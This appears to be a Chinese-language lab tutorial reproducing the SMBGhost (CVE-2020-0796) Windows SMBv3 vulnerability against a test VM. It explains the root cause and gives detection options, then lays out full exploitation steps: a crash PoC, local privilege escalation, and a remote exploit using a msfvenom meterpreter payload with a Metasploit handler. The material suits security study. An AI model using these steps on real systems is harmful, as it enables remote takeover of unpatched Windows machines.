CVE-2020-0796 SMBv3 RCE漏洞檢測+復現
漏洞簡介
2020年3月10日,微軟在其官方SRC發布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客戶端和服務端存在遠程代碼執行漏洞。同時指出該漏洞存在於MicroSoft Server Message Block 3.1.1協議處理特定請求包的功能中,惡意偽造的壓縮數據包 時出現的錯誤引發的,從而造成SMB服務器的緩沖區溢出,攻擊者利用該漏洞可在目標SMB Server或者Client中執行任意代碼。
概述
SMB 3.1.1協議中處理壓縮消息時,對其中數據沒有經過安全檢查,直接使用會引發內存破壞漏洞,可能被攻擊者利用遠程執行任意代碼。攻擊者利用該漏洞無須權限即可實現遠程代碼執行,受黑客攻擊的目標系統只需開機在線即可能被入侵。
原理
漏洞存在於在srv2.sys驅動中,由於SMB沒有正確處理壓縮的數據包,在解壓數據包的時候調用函數Srv2DecompressData處理壓縮數據時候,對壓縮數據頭部壓縮數據大小OriginalCompressedSegmentSize和其偏移Offset的沒有檢查其是否合法,導致其相加可分配較小的內存,后面調用SmbCompressionDecompress進行數據處理時候使用這片較小的內存可導致拷貝溢出或越界訪問,而在執行本地程序的時候,可通過獲取當前本地程序的token+0x40的偏移地址,通過發送壓縮數據給SMB服務器,之后此偏移地址在解壓縮數據時候拷貝的內核內存中,通過精心構造的內存布局在內核中修改token將權限提升。
影響范圍
漏洞不影響 win7,漏洞影響 Windows 10 1903 之后的各個 32 位、64 位版 Windows,包括家用版、專業版、企業版、教育版。
Windows 10 Version 1903 for 32-bit
Windows 10 Version 1903 for x64
Windows 10 Version 1903 for arm64
Windows 10 Version 1909 for 32-bit
Windows 10 Version 1909 for x64
Windows 10 Version 1909 for arm64
Windows Server 10 Version 1903 for server core installation
Windows Server 10 Version 1909 for server core installation
環境准備
環境搭建
- 攻擊機:Kali Linux
-
IP:192.168.219.135
可以 ping 通 win10 虛擬機 - 靶 機:Windows 10 虛擬機 1909 x64 (專業版)
-
IP:192.168.219.142
關閉防火牆和 defender
1903 或者 1909 版本均可,我這里用的是1909版本
宿主機:Windows 7
環境要求
首先確認系統版本符合要求
使用systeminfo確定下主機有沒有打過這個補丁KB4551762
關閉防火牆和 defender
漏洞檢測
git腳本檢測
檢測返回的數據包中SMB壓縮版本,這種檢測方式打過補丁依然會誤報。
PS:腳本適用python3,宿主機電腦中只有python2,稍微修改一下print即可
奇信安檢測工具
適用於局域網批量檢測,快速查找未打補丁的機器。
騰訊電腦管家SMB漏洞修復工具
適用於個人用戶檢測,一鍵快速檢測和修復。
漏洞利用
藍屏演示
藍屏攻擊POC:
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
python3 setup.py install
python3 CVE-2020-0796.py 192.168.219.142
安裝腳本和依賴庫
依賴庫安裝成功后執行藍屏攻擊腳本
攻擊成功結果如下
提權演示
本地提權POC:
文件編譯結果執行文件有兩個,一個動態的,一個靜態的,動態的需要另外安裝相關dll文件,我們直接執行靜態提權程序,成功彈出更高的system權限命令執行窗口
REC演示
遠程利用POC:
- Kali下載POC
root@kali:~/cve# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC
root@kali:~/cve# cd SMBGhost_RCE_PoC
root@kali:~/cve/SMBGhost_RCE_PoC# ls
PS:該POC需要用python3環境執行
- 使用msfvenom生成payload,生成TXT文件便於后面修改
root@kali:~/cve/SMBGhost_RCE_PoC# msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o 1.txt
- 將1.txt 生成的code中參數buf改為USER_PAYLOAD,然后替換到exploit.py中的USER_PAYLOAD參數。(順序不要顛倒,否則執行會失敗的,因為你在py全文替換buf的話,不小心會把代碼中的全部的buf替換的)
這里不要忘記字符串前面的二進制格式換b""
不然腳本執行錯誤
- 新建一個終端,啟動msf監聽本地端口
root@kali:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) > set rhost 192.168.219.142
rhost => 192.168.219.142
msf5 exploit(multi/handler) > exploit
- 運行exploit.py
python3 exploit.py -ip 192.168.219.142
一開始沒反應,試了好幾次,最后成功反彈shell(大家嘗試的時候多試幾次,看網上其他大佬說很容易藍屏,藍屏沒有遇到,只是前幾次每次執行后沒反應,然后發現win10卡死了,ping不通,重啟靶機即可)